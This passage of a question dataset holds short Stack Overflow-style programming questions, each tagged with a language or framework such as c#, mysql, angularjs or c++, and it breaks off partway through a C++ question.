explode prevsiouly rolled up data in sql  i have data as follows:    <pre><code>product        quantity a               3 b               2 </code></pre>   this is data that as been previously rolled up at the product level. assume there are only two columns as of now.     i want an output as follows:    <pre><code>product      quantity a            1 a            1 a            1 b            1 b            1 </code></pre>,mysql
user name password length  i have a text box for users to add their password and i want to prevent the user from adding one character in the text box  how can i do this,asp.net
.where created_at time match another created_at - format .where(created_at)  i am trying to query the database with a .where created_at equals another created_at.   <pre><code>object_2 = model.where(created_at: object_1.created_at)  the model s created_at =  2014-10-15 13:31:58.654969  object_1 s created_at =  2014-10-15 13:31:58.444636  </code></pre>   the problem is that the milliseconds are different. how do i only match on the datetime  2014-10-15 13:31:58    <strong> solution </strong>    i ended up going for a range just to be safe   <pre><code>model.where(created_at: object_1.created_at - 1.minute..object_1.created_at + 1.minute) </code></pre>,ruby-on-rails
format string as date  i have a string 20100524 (2010 05 24) and i would like to parse it as an actual date format.,c#
convert text of a c# project into 1 text file  so i m doing google code jam  and for their new format i have to upload my code as a single text file.    i like writing my code as properly constructed classes and multiple files even when under time pressure (i find that i save more time in clarity and my own debugging speed than i lose in wasted time.) and i want to re-use the common code.    once i ve got my code finished i have to convert from a series of classes in multiple files  to a single file.    currently i m just manually copying and pasting all the files  text into a single file  and then manually massaging the usings and namespaces to make it all work.    is there a better option  ideally a tool that will justdoit for me  alternatively  if there were some predictable algorithm that i could implement that wouldn t require any manual tweaks,c#
how to create a moving balls application in iphone  i want to create an application where balls keep moving on iphone screen and they when they collide they gets a rebounding action. every minute i want to add 1 balll upto a limit.     is there any easy way to do it or anyone have done this kind of application.,iphone
what does an assignment do if it is within square messaging brackets   in some old(ish) objective-c code base  i accidentally misplaced the opening bracket trying to send a message to an object.   <pre><code>// i meant to type object = [object someencodingmethod] [object = object someencodingmethod];  </code></pre>   this compiles and runs just fine  but after this line the original <code>object</code> variable is not modified. the actual code is trivial to fix  but i m very curious what this line even <em>means</em>.,objective-c
how to run the same asynctask more than once   i have my asynctask run when the activity first starts  then if network connectivity is not available then i have a refresh button that tries to run the asynctask to try again. but i get a debug error saying this..   <pre><code>07-29 18:14:21.290: error/androidruntime(9080): fatal exception: main 07-29 18:14:21.290: error/androidruntime(9080): java.lang.illegalstateexception: cannot execute task: the task has already been executed (a task can be executed only once)    07-29 18:14:21.290: error/androidruntime(9080):     at android.os.asynctask.executeonexecutor(asynctask.java:541)    07-29 18:14:21.290: error/androidruntime(9080):     at android.os.asynctask.execute(asynctask.java:499)   07-29 18:14:21.290: error/androidruntime(9080):     at com.fttech.gameit.mainmenu$1.onclick(mainmenu.java:90) </code></pre>   is there anyway to run this twice,android
what is function signature if parameters are split by comma rather than colon when invoked   read a function call like this in apple s tutorial for oc. a bit confused about how function stringwithformat is defined or its signature...   <pre><code>[nsstring stringwithformat:@ the magic number is %i   magicnumber]; </code></pre>   a relative question is about nslog as   <pre><code>nslog(@ %i is a number   somescalarvarnumber); </code></pre>   should a function call be like   <pre><code>[obj funcname:param funcname1:param1 funcname2:param2]; </code></pre>,objective-c
alert box text copy issue with chrome  hi i would like to know the way with which i can straight away copy the text in alert box  it is allowing me to copy the text in ie  safari but not in latest chrome version. any idea how to do the same.    thanks,javascript
looking for ways to improve this code or if there is anything i shouldn t do  trying to learn c so i made this short program to try and mimic classes. is there anything with this code that i should not do with c or any ways that i can improve it at all like best practices or anything     structs.h   <pre><code>struct weapon {     char name[30];     int damage;     int durability; };  struct player {     int health;     int armor_level;     int currency;     struct weapon player_weap; }; </code></pre>   main.c   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;string.h&gt; #include  structs.h   struct player new_player();  void main() {      struct player user = new_player();      printf( the players health is %d.\n   user.health);     printf( the players armor is %d.\n   user.armor_level);     printf( the players currency is %d.\n   user.currency);     printf( the players weapon is the %s.\n   user.player_weap.name);     printf( the players weapon does %d damage and has %d durability.\n   user.player_weap.damage  user.player_weap.durability);  }  struct player new_player() {      struct player new_player;     new_player.health = 100;     new_player.armor_level = 0;     new_player.currency = 0;     strcpy(new_player.player_weap.name   starter sword );     new_player.player_weap.damage = 1;     new_player.player_weap.durability = 100;      return new_player;  } </code></pre>,c
what is the difference between these two declarations <pre><code>class test1 {     // public  int a;     public static void print(list&lt;int&gt; numbers)     {         int sum = 0;         foreach(int number in numbers)         {             sum = sum + number;         }     } } </code></pre>   now i  can call above method in like below   <pre><code>list&lt;int&gt; lt = new list&lt;int&gt;(); lt.add(1); lt.add(2);  test1.print(lt); </code></pre>   or   <pre><code>test1.print(new list&lt;int&gt; { 1  23 }); </code></pre>   can some one shed some light on when to use which     the question has more info in comments so updated to clarify :     <strong>ask:</strong><br> .first method declares object and memory will be initialized first only but second method has to store everything in fly.    how second method is able to get its object reference,c#
how does the iphone app cardiographdetect heartbeat   here is some info of the cardiograph app if you dont know it:   <a href= http://www.spotlightofpeace.com/techarea/photos/cardiograph-application-to-measure-heartbeat-from-iphone-and-ipad-camera/  rel= nofollow noreferrer >http://www.spotlightofpeace.com/techarea/photos/cardiograph-application-to-measure-heartbeat-from-iphone-and-ipad-camera/</a>    looks like it is senses the light. i know here is some discussion of ambient light sensor:   <a href= https://stackoverflow.com/questions/6408840/about-ambient-light-sensor-in-iphone >about ambient light sensor in iphone</a>    but not sure if this app uses this sensor  does anyone know better about this,iphone
shopping cart application using angularjs controller  i m doing a shopping cart with angularjs  but i m having trouble adding products to the shopping cart. i think error is on my controller:    my data.json:   <pre><code>{  items : [     {          product : {              name :  smartphone                price : {                  value : 3509.10              }         }     }       {          product : {               name :  lenovo                 price : {                  value : 2599.00               }         }     } ] } </code></pre>   my controller.js :   <pre><code>var app = angular.module( list   []); app.controller( listctrl   [ $scope    $http    function($scope  $http) {  $scope.products = [];  $http({    method:  get      url:  data.json   }).success(function(data) {     angular.foreach(data.items  function(item  index) {     $scope.products.push(item.product);    });  });  }  $scope.carts=[];  $scope.add_cart = function(product){   if(product){     $scope.carts.push({ p_name: product.name  p_valor:product.price.value );   }  }   $scope.total = 0;  $scope.settotals = function(cart){   if(cart){     $scope.total += cart.p_valor;   } }  $scope.remove_cart = function(cart){   if(cart){     $scope.carts.splice($scope.carts.indexof(cart)  1);     $scope.total -= cart.p_valor;   } } ]); </code></pre>   my html:   <pre><code>    &lt;body  ng-controller= listctrl  ng-app= list &gt;      &lt;ul ng-repeat= product in products &gt;         &lt;li&gt;{{product.name}} &lt;/li&gt;         &lt;li&gt;{{product.price.value}}&lt;/li&gt;         &lt;li&gt;&lt;button type =  button  ng-click =  add_cart(product) &gt; add to cart&lt;/button&gt;&lt;/li&gt;     &lt;/ul&gt;&lt;br&gt;     &lt;ul ng-repeat =  cart in carts  ng-init =  settotals(cart) &gt;        &lt;li&gt;{{cart.p_name}}&lt;/li&gt;        &lt;li&gt;{{cart.p_price}}&lt;/li&gt;         &lt;li&gt;&lt;button type =  button  ng-click =  remove_cart(cart) &gt;x&lt;/button&gt;        &lt;/li&gt;     &lt;/ul&gt;     &lt;ul&gt;       &lt;li&gt;{{total}}&lt;/li&gt;     &lt;/ul&gt;     &lt;/body&gt; </code></pre>   i need the button add to cart to work correctly  bringing the product name and the value of the product. i also need it to bring the total value and also need to remove the product when clicking button remove cart.    ty for help guys!,angularjs
how to make this proper link list <pre><code>// this is program designed to create cd data base  #include &lt;stdio.h&gt; #include &lt;string.h&gt; #include &lt;stdlib.h&gt;  //============================================= //linked list used for creating the database cd //============================================= struct cd_type_node {    int cdnum;    char title[20];    int cdcount;    struct cd_type_node* next; }  struct artist_type_node // to create a linked list of cd s {    char artist_name[20];    struct cd_type_node* next; }   int main() {    struct cd_type_node* mylist; // this points to the first node of the linked list    mylist = (struct cd_type_node*)malloc(sizeof(struct cd_type_node));     free(mylist);    return 0; } </code></pre>   i m trying to create two linked lists. one is of cd database  other of artist. one of the restriction is this:    2) create a <code>artist_type_node</code> structure having the following fields:   <ul> <li>artist’s name</li> <li>a pointer to a cd_type_node  to enable you to create a linked list for cds.</li> </ul>   it giving me errors is that the proper of making it     it also ask me to create an array of 100 elements (in main) of type artist_type_node,c
previouspage = null in crosspage posting  i m trying to pass post data from one page to the next but previouspage always equals null.    this is what i have in the original page (inside an updatepanel )   <pre><code>&lt;asp:button id= mmgo  runat= server  text= merge  postbackurl= ~/default2.aspx action=merge /&gt; </code></pre>   then in the following page i have:   <pre><code>&lt;%@ page language= c#  autoeventwireup= true  codefile= default2.aspx.cs  inherits= default2  %&gt; &lt;%@ previouspagetype virtualpath= ~/default.aspx  %&gt;  &lt;!doctype html public  -//w3c//dtd xhtml 1.0 transitional//en   http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd &gt;  &lt;html xmlns= http://www.w3.org/1999/xhtml &gt; &lt;head runat= server &gt;     &lt;title&gt;&lt;/title&gt; &lt;/head&gt; &lt;body&gt;     &lt;form id= form1  runat= server &gt;      &lt;div&gt;         &lt;asp:label id= label1  runat= server  text= label &gt;&lt;/asp:label&gt;     &lt;/div&gt;     &lt;/form&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   ...and in the .cs file:   <pre><code>protected void page_load(object sender  eventargs e) {     if (previouspage != null)     {         string action = request.querystring[ action ];         if (action ==  merge )         {             updatepanel sourcecontrol = (updatepanel)previouspage.findcontrol( updatepanel1 );             hiddenfield sourcetextbox = (hiddenfield)sourcecontrol.findcontrol( txtlistids );             if (sourcetextbox != null)             {                 label1.text = sourcetextbox.value;             }         }     }     else     {         label1.text =  page is not cross page post back! ;     } } </code></pre>   any ideas why the previouspage is always equal to null,asp.net
static routes no longer working  passing id  i had routes like this     /state/arizona/unit/az22    i wanted to remove the controller names of state and unit and get routes like this    /arizona/az22    found this code which worked great   <pre><code>resources :states  :except =&gt; [:index ]  :path =&gt;  /  do     resources :units  :except =&gt; [:index ]  :path =&gt;  /    end </code></pre>   but now my static paths don t work because it thinks it is a state. i have a list of states on the static pages.    <pre><code>error: couldn t find state with id=about  code throwing error : def set_state          @state = state.friendly.find(params[:id])       end </code></pre>   these are my static page routes   <pre><code>  match  /contact   to:  static_pages#contact   via:  get    match  /about   to:  static_pages#about   via:  get    root  static_pages#home  </code></pre>   is there a way to fix the routes   or did i use static pages wrong because i m feeding a list of states to them,ruby-on-rails
reading a string in c until an integer is encountered (in file)  how can i read a string in c until i encounter an integer  for example: 1000 ball pen 12 15 24 i need to separate  ball pen  from the integers. how is it done,c
change inline css in nexted div without div id and class name (using css only)  i need to make changes in a div having inline css. code below :   <pre><code>&lt;div class= videolayout  hide-for-android &gt;   &lt;div style= width:695px;height:391px; &gt;    &lt;/div&gt; &lt;/div&gt; </code></pre>   i want to change the inline style in 2nd div to a fixed width... but only by using css. not javascript.    can any css expert advise on it. thanks,css
string not recognized as a valid datetime when converting to datetime  i am getting the following error when trying to insert a row of data. it is stating that the string was not recognized as a valid datetime.    <strong>c#</strong>   <pre><code>protected void saveexceptionadd(object sender  system.eventargs e)   {       //default value secruity       if (ddltimefromadd.selectedindex == 0 || ddltimetoadd.selectedindex == 0)       {           lbladdexcept.visible = true;           lbladdexcept.text =  fields required. ;           divexceptionadd.focus();       }        else       {           string eftvfrom = txtdatefromadd.text.tostring() + ddltimefromadd.selectedvalue.tostring();           string eftvto = txtdatetoadd.tostring() + ddltimetoadd.selectedvalue.tostring();            datetime eftvfromdt = convert.todatetime(eftvfrom);           datetime eftvtodt = convert.todatetime(eftvto);            //update weekday restriction           cdssqlconnections.runstoredprocedurewithnparams( conndatastore    sp_ab_bulletin_exception_insert             new dictionary&lt;string  object&gt; { {  eftvfrom   eftvfromdt }  {  eftvto   eftvtodt }  {  abstatus   ddlstatus.selectedvalue }  {  lastmodby   cdssecurity.currentuserid } });           divexceptionadd.visible = false;           lbladdexcept.visible = false;           repexception.databind();       }   } </code></pre>,c#
why isnt meta content name working  i am making a simple website redirect page to redirect to twitter but have it as a web app on my iphone. it seems like the meta name tag dosent work or something  because the page has no title and i would like it to say twitter.can anyone help me   sorry if im not using the correct terminology as i just got into html and im 15. thanks. below is the code i have for my page  i have the meta tag in there but it seems like its not working.    <pre><code> &lt;!doctype html&gt;     &lt;html&gt;       &lt;head&gt;       &lt;link rel= apple-touch-icon  href= http://bkenterprises.neocities.org/twitters.png  /&gt;       &lt;link rel= shortcut icon  href= http://bkenterprises.neocities.org/twitters.png  /&gt;       &lt;meta http-equiv= refresh         &lt;meta http-equiv= refresh  content= 0; url=http://www.twitter.com  /&gt;        &lt;meta content= name= twitter  /&gt;       &lt;/head&gt;     &lt;html&gt; </code></pre>,html
how to set the value of changes   i need the <code>model</code> variable to be =<code>#mymodal</code> when used click on element with the id mybtn.   <pre><code>window.onclick=function(e){     var elem = e   e.target : window.event.srcelement;     var model;     switch(elem.id) {         case  mybtn :              $( #mymodal ).show( display   block );             model = model + `#mymodal`;             break;         case  mybtn_2 :             $( #mymodal_2 ).show( display   block );             break;         default:             alert(model)             break;      } } </code></pre>,jquery
what s the point of checking reachability before making an internet connection   several weeks ago reading through the apple guidelines it says apps should check for the reachability status before attempting to make a connection  and i ve read of apps being rejected from the app store for not doing this.    however the reachability apis can take up to 30 seconds (according to the apple documentation  and also i ve seen this myself happening sometimes) to determine if reachability is available or not. in this situation the api returns not reachable.    therefore you can have the situation where you do actually have reachability but the apis say you don t and you won t find out you do for 30 seconds or so.    having to wait 30 seconds is unacceptably long - especially if the connection has been initiated by the user. consider this scenario:   <ul> <li>user clicks some button that performs some internet related activity</li> <li>in accordance with the apple guidelines the code uses the reachability api to check if there is reachability before attempting to make the connection.</li> <li>the reachability api says there isn t reachability (but actually there is) so the code tells the user there isn t connectivity (confusing them in the process)</li> <li>30 seconds later the reachability api informs the code there now is reachability</li> <li>but its too late because the user has exited the app and gone elsewhere because they got fed up waiting.</li> </ul>   by following apple s guidelines to first check reachability there is a real chance that an absolutely terrible user experience has resulted and the app didn t contact the server when it could have done.    this seems ridiculous  surely i am missing something     how can you follow apple s guidelines while still give a responsive app     i ve experiences these delays in the reacability api and want to ditch it - because i ve seen occasions when it says there isn t reachability but if you try there is  therefore i want my app to try the connection anyway regardless of what the api says. but if i do this then there is a chance the app could be rejected     is there a solution to this dilemma,ios
in a asp:repeater i use asp:checkbox but the oncheckedchanged doesn t fire  here is the code:    <pre><code>&lt;asp:repeater runat= server  id= repeater1  onitemcommand= checkchange &gt;     &lt;itemtemplate&gt;             &lt;asp:table runat= server  width= 80% &gt;             &lt;asp:tablerow runat= server  horizontalalign= center  width= 80% &gt;                 &lt;asp:tablecell width= 80%  horizontalalign= left &gt;                     &lt;asp:button id= button1  runat= server  text= 删除  visible= &lt;%#administrator %&gt;  /&gt;                     &lt;asp:checkbox runat= server  id= checkbox  text= &lt;%#databinder.eval(container.dataitem  iid )%&gt;  autopostback= true  oncheckedchanged= checkchange  enableviewstate= false /&gt;                     &lt;asp:label runat= server  text= &lt;%#databinder.eval(container.dataitem  invtext ) %&gt; &gt;&lt;/asp:label&gt;                 &lt;/asp:tablecell&gt;             &lt;/asp:tablerow&gt;             &lt;/asp:table&gt;     &lt;/itemtemplate&gt;     &lt;/asp:repeater&gt; </code></pre>   and the function is:   <pre><code> protected void checkchange(object sender  eventargs e)     {         response.write( it works well! );     } </code></pre>   but when i click the checkbox nothing happen...thank you ...,asp.net
write a proxy class in c++  i have a c++ wrapper class which encapsulates some hardware extraction as:   <pre><code>class devicewrapper { private:     physicaldevice mdevice; }; </code></pre>   there are various classes that access the device and most of them accept the underlying device as their first parameter  like so:   <pre><code>void somefunc(physicaldevice &amp; device); </code></pre>   so i currently have the following getter method in my wrapper class:   <pre><code>physicaldevice &amp; devicewrapper::getphysicaldevice() {     return mdevice; } </code></pre>   and i use it like this: <code>somefunc(mywrapper.getphysicaldevice());</code>    however  this looks a bit cumbersome. is there a way to define some sort of operator which returns the reference to this device and then i can basically use the reference to the wrapper class wherever the reference to the <code>physcialdevice</code> is needed.,c++
fetching id from one controller to another in angularjs  i have two app.js like frontapp.js and departmentapp.js in school.html which is under schoolcontroller.js belongs to frontapp.js i am getting all schools and departments by schoolid  when i am clicking on departmentname the page is redirecting to departmenthomepage which is under departmenthomecontroller.js belongs to departmentapp.js can any one suggest me how can i get departmentid when clicked on departmentname     schoolcontroller.js   <pre><code>$scope.getallschools = function() {   schoolservice.getallschools().then(function(response) {     $scope.allschools = response.data;   }); } </code></pre>   in allschools itself i am getting departments by schoolid     schools.html    <pre><code>&lt;div class= col-xs-12 col-sm-6 col-md-6  data-ng-repeat= school in allschools &gt;   &lt;div class= row &gt;     &lt;div class= col-xs-12 col-sm-12 col-md-12 &gt;       &lt;h5&gt;{{school.schoolname}}&lt;/h5&gt;       &lt;ul data-ng-repeat= department in school.departments &gt;         &lt;li&gt;&lt;a href= ./department &gt; {{department.departname}}&lt;/a&gt;&lt;/li&gt;        &lt;/ul&gt;     &lt;/div&gt;   &lt;/div&gt; &lt;/div&gt;   </code></pre>   departmenthomecontroller.js   <pre><code>$scope.departmentid = 20 departmenthomeservice.getthemefordepartment($scope.departmentid)   .then(function(response) {   console.log( received theme );   if(response.data != undefined) {                   $scope.cssfile = response.data;      console.log($scope.cssfile);     $( head ).append( &lt;link rel= stylesheet  type= text/css  media= screen         href= +$scope.csspath + $scope.cssfile + &gt; );    } else {     $( head ).append( &lt;link rel= stylesheet  type= text/css  media= screen         href= +$scope.csspath + $scope.cssfile + &gt; );    } }); </code></pre>   here i hard coded departmentid how can i get departmentid dynamically by clicking on departmentname.,angularjs
return type name colliding with method name in c++  i m looking for an explanation why the following code does not compile on windows:   <pre><code>class typea {};  class typebinterface { public:     ~typebinterface() {}     virtual typea&amp; typea() = 0; };  class typeb : public typebinterface { public:     typea&amp; typea() { return mtypea; } private:     typea mtypea; }; </code></pre>   there is some sort of naming collision between the return type <code>typea</code> and the method name <code>typea</code>. the following return type works fine:   <pre><code>::typea&amp; typea() { return mtypea; } </code></pre>   i don t understand the c++ rules that are causing this behavior. could i get a simple explanation    <hr>   <strong>edit:</strong> @balogpal requested more context. i am using method chaining to build up a map object. in order to add keys and values i can do <code>lmap.key(1).value(2).key(3).value(4);</code>. <code>key()</code> creates a new <code>key</code> object  adds it to the map  and returns a <code>key&amp;</code> reference to the new key. perhaps i will get rid of the explicit <code>key</code> type later  but for now that s what i have. i like the brevity of <code>key()</code> versus something like <code>createkey()</code>  and i think it is very understandable what it does in this context.,c++
4 digit code entry like in remote app  i would to to do a 4 digit code entry like app does in the remote app to verify to itunes library. currently have 4 uitextfields  but am running into problems automatically moving the cursor to the next text field.    using this code currently but this moves the cursor then places the text in the new first responder instead of the correct one:   <pre><code>- (bool)textfield:(uitextfield *)textfield shouldchangecharactersinrange:(nsrange)range replacementstring:(nsstring *)string {     if ([string length] &gt; 0) {         if (codetext1 == textfield) {             [codetext2 becomefirstresponder];         } else if (codetext2 == textfield) {             [codetext3 becomefirstresponder];         } else if (codetext3 == textfield) {             [codetext4 becomefirstresponder];         }     }      return yes; } </code></pre>,iphone
css !important override/change margin  trying to make a change in my stylesheet and having a bit of a problem changing the margin on this. i need to edit the bottom margin to a number percent.   <pre><code>{ position: relative !important; display: block !important; margin: 1% auto !important; width: 100% !important; top: auto !important; right: auto !important; bottom: auto !important; left: auto !important; } </code></pre>   what would be the correct way,css
<a> onclick not clickable without href <pre><code>  &lt;a class= btn2  onclick= alertbox() &gt;link &lt;/a&gt;       &lt;script&gt;      function alertbox()  {        alert( alert box );      }      &lt;/script&gt; </code></pre>   i have tried to use the css below to try and fix it but that does not make it clickable it only changes the cursor   <pre><code>    .btn2 {         cursor: pointer;      }   </code></pre>   but that only changes the cursor when i hover over it and dont make it actually clickable    sorry if really obvious answer only recently i started to do html,html
two background-images  only one should repeat  i have a background image and a grid layout over it. now i want that the grid layout repeats  but not the gackground-image itself. how can i do it    <pre><code>background-image: url( /image/grid.png )  url(../images/img-bg.jpg)!important; background-repeat: repeat; </code></pre>   thanks.,css
how to add next numbers to string in javascript  on button click  i want to take last part of the url  and replace last segment string with one number higher. for example from img15.jpg to img16.jpg. following code is saving last part of the url  but i am not sure how to iterate number.   <pre><code>$( .next ).on( click  function(){         parts = modalcontainer.find( img ).attr( src );         array = parts.split( / );          lastsegment = array[array.length-1];  }) </code></pre>,jquery
java file name printing  i am trying to print name of files from two folders  and this code compiles but not giving anything on running it.    the main target here is to find common name files in two folders  i have stored file names in two arrays and then i will applying sorting and will find common files.   <pre><code> package javaapplication13;      import java.io.file;     import java.util.*;      public class listfiles1       {          public static void main(string[] args)          {              string path1 =  c:/ ;              string path2 =  d:/ ;               file folder1 = new file(path1);             file folder2 = new file(path2);              string[] f1=folder1.list();              file[] listoffiles1 = folder1.listfiles();              file[] listoffiles2 = folder2.listfiles();               arraylist&lt;string&gt; filenames1 = new arraylist&lt;&gt;();             arraylist&lt;string&gt; filenames2 = new arraylist&lt;&gt;();              for (int i = 0; i &lt; listoffiles1.length; i++)              {                  if (listoffiles1[i].isfile())                  {                     filenames1.add(listoffiles1[i].getname());//wow                     system.out.println(listoffiles1[i].getname());                 }              }              for (int i = 0; i &lt; listoffiles2.length; i++)              {                  if (listoffiles2[i].isfile())                  {                     filenames2.add(listoffiles2[i].getname());//seriously wow                 }             }          }     } </code></pre>,java
fstream searching a textfile for a word  so i have to let the user input a text file and my program is supposed to search for this text file and once its found  it ll search for a word in that text file  and count how many times a number appeared in this file.i m having trouble writting the code for simply searching for the word in the text file. please help. this is what i have so far:   <pre><code>#include &lt;iostream&gt; #include &lt;fstream&gt; #include &lt;string&gt; using namespace std;  int main() {     string dog;     int word;      int thefile;         cout &lt;&lt;  enter the name of file and i ll search for it:   &lt;&lt; endl;     cin &gt;&gt; name;      //opening the file     thefile.open(name  ios::out);      if (file)     {         cout &lt;&lt;  enter the word you want to search for:   &lt;&lt; endl;         cin &gt;&gt; word;         getline(file  word);  //stuck here          for (unsigned int numline = 0; getline(thefile  searchword);numline++)             if (searchword.find)     }     else     {         cout &lt;&lt;  the file   &lt;&lt; nameoffile &lt;&lt;   does not exist!  &lt;&lt; endl;         return 0;     } } </code></pre>,c++
no output produced from a new cmd.exe process  i am trying to call this cmdline application and for some reason it never returns me any feedback. when i run it from cmd i get output like this. not sure why its not giving me feedback   <pre><code>version information cli:        7.2.3.3327 11/14/2016 7:12:47 pm (patch 4) agent:      7.2.3.3327 11/14/2016 7:12:47 pm (patch 4) kernel:     7.2.3.3327 11/14/2016 7:12:47 pm (patch 4) server:     7.2.3.3327 11/14/2016 7:12:47 pm (patch 4) </code></pre>   code   <pre><code>processstartinfo startinfo = new processstartinfo(); startinfo.createnowindow = true; startinfo.useshellexecute = false; startinfo.redirectstandardoutput = true; startinfo.filename = @ cmd.exe ; startinfo.windowstyle = processwindowstyle.hidden; startinfo.arguments = @ /c   c:\program files(x86)\bit9\parity agent\dascli.exe     +  status ;  try {     // start the process with the info we specified.     // call waitforexit and then the using statement will close.     using (process exeprocess = process.start(startinfo))     {         output = exeprocess.standardoutput.readtoend();         exeprocess.waitforexit();     } } catch {     // log error. } </code></pre>,c#
how to get lag value without using the lag function in mysql  if i have    <pre><code>id   minutes 1     2:40:00  1     3:40:00 1     5:40:00 2     6:40:00 2     7:40:00 2     8:40:00 </code></pre>   with the lag function   <blockquote>    select id  minutes as earlier_time  lag(minutes) over(partition by id   order by id  minutes) as later_time from table1  </blockquote>   i get   <pre><code>   id   earlier_time      1     2:40:00    3:40:00     1     3:40:00    5:40:00     1     5:40:00    null     2     6:40:00    7:40:00     2     7:40:00    8:40:00     2     8:40:00    null </code></pre>   is there a way to do that without the lag function,mysql
cannot write to file  i m trying to write each line of an existing file into two new files. basically this will copy the file. the  oldmaster.write(line)  returns an error that says the file is not writable. i know my code is terrible. this is for a project and i m really stuck.   <pre><code>file_str = input ( enter a file name:  )  while true:     try:         file_obj = open(file_str   r )         break     except ioerror:         file_str = input(  invalid file name  enter a file name:  )         prefix = input( master file prefix  ) old = prefix old +=  .old.txt  new = prefix new +=  .new.txt  oldmaster = open(old  w ) newmaster = open(new  w )  oldmaster = file_obj newmaster = file_obj  for line_str in file_obj:     line = line_str      oldmaster.write(line) </code></pre>,python
angularjs apply filter by default  im creating angularjs app with a list of items. i ve implemented filtering of the list successfully  but i can t find out the way how to apply it by default. what i mean is that i want to display filtered list by default and users to be able to see the full list if they want.     i ve tried selecting option by default but this doesn t trigger filtering at all despite it is selected.    my filter looks like this:   <pre><code>&lt;select ng-model= query.status  ng-click= setitems()  class= form-control &gt;         &lt;option value=  &gt;all tasks&lt;/option&gt;         &lt;option value= 0  ng-selected= true  selected= selected &gt;todo&lt;/option&gt;         &lt;option value= 1 &gt;done&lt;/option&gt; &lt;/select&gt; </code></pre>   setitems() function is used for pagination only so it doesn t have any affect on filtering itself,angularjs
slidedown or slideup effect to set height  how can i do a <code>slidedown()</code> or <code>slideup()</code> effect but i don t want close my <code>div</code>  i want just set the <code>height</code> but doing the <code>slidedown()</code> or <code>slideup()</code> effect.    <strong>example</strong>   <pre><code>&lt;div id= modalnovoticket  style= height: 600px; &gt;&lt;/div&gt;  $( #modalnovoticket ).slideup( slow   function () {     $(this).css( height    400px ); }); </code></pre>   <strong>problem</strong>    with this code  my <code>div</code> close,jquery
setcompounddrawables working only when drawable set to another imageview   i am changing the color of a drawable and then setting it as drawable left of a textview  but i am observing a weird thing. the drawable left is only working if i am setting the drawable to some other image view before setting it into the textview.   <pre><code>  drawable mdrawable = this.getresources().getdrawable(r.drawable.legendc);                     mdrawable.setcolorfilter(colorsactive[0]  porterduff.mode.src_in);                     mimageview.setimagedrawable(mdrawable);                      mtextview.setcompounddrawables(mdrawable  null  null  null); </code></pre>   if i remove  mimageview.setimagedrawable(mdrawable); then the setcompounddrawables is not working and no drawable left is being applied. why is this happening,android
nstokenfield not editable  i have an nstokenfield that won t let me even edit it. by uneditable  i mean that it is stuck on the placeholder text and clicking it doesn t allow me to type into it. does anyone know why this may be happening     for clarification  here is my delegate code. i wired the nstokenfield to the iboutlet  and also wired the token field to the inputfielddelegate object (the blue box thing).    inputfielddelegate.h:   <pre><code>    @interface inputfielddelegate : nsobject &lt;nstokenfielddelegate&gt; {      nstokenfield *inputtokenfield; } @property (assign) iboutlet nstokenfield *inputtokenfield;  - (nsarray *)tokenfield:(nstokenfield *)tokenfieldarg  completionsforsubstring:(nsstring *)substring             indexoftoken:(nsinteger)tokenindex      indexofselecteditem:(nsinteger *)selectedindex; - (id)tokenfield:(nstokenfield *)tokenfield representedobjectforeditingstring:(nsstring *)editingstring;  @end </code></pre>   inputfielddelegate.m:   <pre><code>#import  inputfielddelegate.h   @implementation inputfielddelegate @synthesize inputtokenfield;  - (void)applicationdidfinishlaunching:(nsnotification *)anotification {     inputtokenfield = [[nstokenfield alloc] init];     [inputtokenfield setdelegate:self]; }  - (nsarray *)tokenfield:(nstokenfield *)tokenfieldarg  completionsforsubstring:(nsstring *)substring             indexoftoken:(nsinteger)tokenindex      indexofselecteditem:(nsinteger *)selectedindex {      return [nsarray arraywithobject: nil]; }  - (id)tokenfield:(nstokenfield *)tokenfield representedobjectforeditingstring:(nsstring *)editingstring {     return editingstring; }  @end </code></pre>,objective-c
php validation check for numeric and alphabetic sequence  one of the rules in our password creation is  it shouldn t contain a sequence of number or alphabets.    <blockquote>    ex.12345  pwd45678  pwd_abcdef  pwd_abc123  </blockquote>   all of these are not allowed.    any suggestion how to check for sequence  by sequence meaning it shouldn t be order like for numbers 1-10 or letters in the alphabet. so the password shouldn t contain alphabet sequence or order and numbers in 1-10 order. so password containing abc or def or hijk is not allowed and passwords containing number orders like 1234 or 4567 are not allowed but passwords containing abnoe or 19334 is ok.     tia,php
values looping due to getdate()  the values are somehow looping. i am getting 14 same values instead of one. i have checked everything in the code. if i exclude next_expected_time &lt;= getdate() then it returns just 1 value which is fine.    the code simply compares the column value with the present date and inserts into the next table.   <pre><code>code:       private void picturebox11_click(object sender  eventargs e)     {         int res;          using (sqlconnection conn = new sqlconnection(@ data source=dipayn;initial catalog=highway;integrated security=true ))         {             using (sqlcommand cmd = new sqlcommand())             {                    cmd.connection = conn;                     cmd.commandtext =  insert alert(vehicle_no  last_checkpoint) select vehicle_no checkpoint_id from entry where next_expected_time &lt;= getdate() ;                // cmd.commandtext =  insert alert(vehicle_no) values(21) ;                  try                 {                     conn.open();                     res = cmd.executenonquery();                 }                 catch                 {                     res = -1;                  }                 finally { conn.close(); }                  alert al = new alert();                 al.show();             }         }     } </code></pre>,c#
using csv as a schema format with multiple tables  i would like to use csv to describe a database schema. i found examples but for a single table  is there a standardized specification (or ideas  tracks etc.) for describing multiple (and linked) tables,sql
how do i fix this compiling error for this program  i am getting this error saying that something wasn t declared in this scope. i tried declaring it by putting in above int main  but then it gives me another error saying that what i put in needs to be declared also. here is the code:   <pre><code>#include &lt;iostream&gt;  using namespace std;  int matrix[5][5] = {0};  string dayofweek(int i) {     if(i == 0)         return  monday ;     if(i == 1)         return  tuesday ;     if(i == 2)         return  wednesday ;     if(i == 3)         return  thursday ;     if(i == 4)         return  friday ; }  string child(int i) {     if(i == 0)         return  alex ;     if(i == 1)         return  brian ;     if(i == 2)         return  carla ;     if(i == 3)         return  david ;     if(i == 4)         return  ellen ; }  bool checkinput(int i) {     if(i &gt;= 0)         return true;     else         return false; }  void readinput(int child  int day) {     cout&lt;&lt; enter food eaten by  &lt;&lt;child(child)&lt;&lt;   on   &lt;&lt;dayofweek(day);     int a;     cin&gt;&gt;a;     if (checkinput(a))         matrix[child][day] = a;     else {         cout&lt;&lt; invalid (negative) food quantity. please re-enter a correct value\n ;              readinput(child  day);     } }  float averageday(int day) {     float average = 0;     for (int i=0; i&lt;5; i++)         average += matrix[i][day];     return average/5; }  void leastamount(int &amp;child  int &amp;day) {     child = 0; day = 0;     for(int i=0; 